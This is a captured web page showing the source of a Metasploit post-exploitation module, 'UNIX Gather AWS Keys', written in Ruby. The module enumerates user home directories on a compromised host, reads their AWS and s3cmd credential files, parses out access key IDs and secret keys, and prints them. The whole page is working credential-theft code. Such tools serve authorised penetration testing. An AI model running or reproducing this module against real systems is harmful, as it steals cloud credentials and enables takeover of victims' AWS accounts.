Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Path: blob/master/modules/post/multi/gather/aws_keys.rb
Views: 11784
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Post6include Msf::Post::File7include Msf::Post::Unix89AWS_KEY = 'AWS_ACCESS_KEY_ID'10AWS_SECRET = 'AWS_SECRET_ACCESS_KEY'11S3_KEY = 'access_key'12S3_SECRET = 'secret_key'1314def initialize(info = {})15super(16update_info(17info,18'Name' => 'UNIX Gather AWS Keys',19'Description' => %q{20This module will attempt to read AWS configuration files21(.aws/config, .aws//credentials and .s3cfg) for users discovered22on the session'd system and extract AWS keys from within.23},24'License' => MSF_LICENSE,25'Author' => [ 'Jon Hart <jon_hart[at]rapid7.com>' ],26'Platform' => ['linux', 'osx', 'unix', 'solaris', 'bsd'],27'SessionTypes' => %w[shell meterpreter],28'References' => [29[ 'URL', 'http://s3tools.org/kb/item14.htm' ],30[ 'URL', 'http://docs.aws.amazon.com/cli/latest/userguide/cli-chap-getting-started.html#cli-config-files' ]31]32)33)34end3536def get_aws_keys(config_file)37keys_data = []38unless readable? config_file39vprint_error("Couldn't read #{config_file}")40return []41end42config_s = read_file(config_file)43return keys_data if config_s.empty?4445aws_config = Rex::Parser::Ini.from_s(config_s)46aws_config.each_key do |profile|47# XXX: Ini assumes anything on either side of the = is the key and value48# including spaces, so we need to fix this49profile_config = Hash[aws_config[profile].map { |k, v| [ k.strip, v.strip ] }]50aws_access_key_id = nil51aws_secret_access_key = nil52profile_config.each_pair do |key, value|53if key == AWS_KEY.downcase || key == S3_KEY54aws_access_key_id = value55end5657if key == AWS_SECRET.downcase || key == S3_SECRET58aws_secret_access_key = value59end60end61next unless aws_access_key_id || aws_secret_access_key6263keys_data << [ config_file, aws_access_key_id, aws_secret_access_key, profile ]64end6566keys_data67end6869def get_keys_from_files70keys_data = []71vprint_status('Enumerating possible user AWS config files')72# build up a list of aws configuration files to read, including the73# configuration files that may exist (rare)74enum_user_directories.map do |user_dir|75vprint_status("Looking for AWS config/credentials files in #{user_dir}")76%w[.aws/config .aws/credentials .s3cfg].each do |possible_key_file|77this_key_data = get_aws_keys(::File.join(user_dir, possible_key_file))78next if this_key_data.empty?7980keys_data <<= this_key_data.flatten81end82end83keys_data84end8586def run87keys_data = get_keys_from_files88return if keys_data.empty?8990keys_table = Rex::Text::Table.new(91'Header' => 'AWS Key Data',92'Columns' => [ 'Source', AWS_KEY, AWS_SECRET, 'Profile' ]93)9495keys_data.each do |key_data|96keys_table << key_data97end9899print_line(keys_table.to_s)100end101end102103104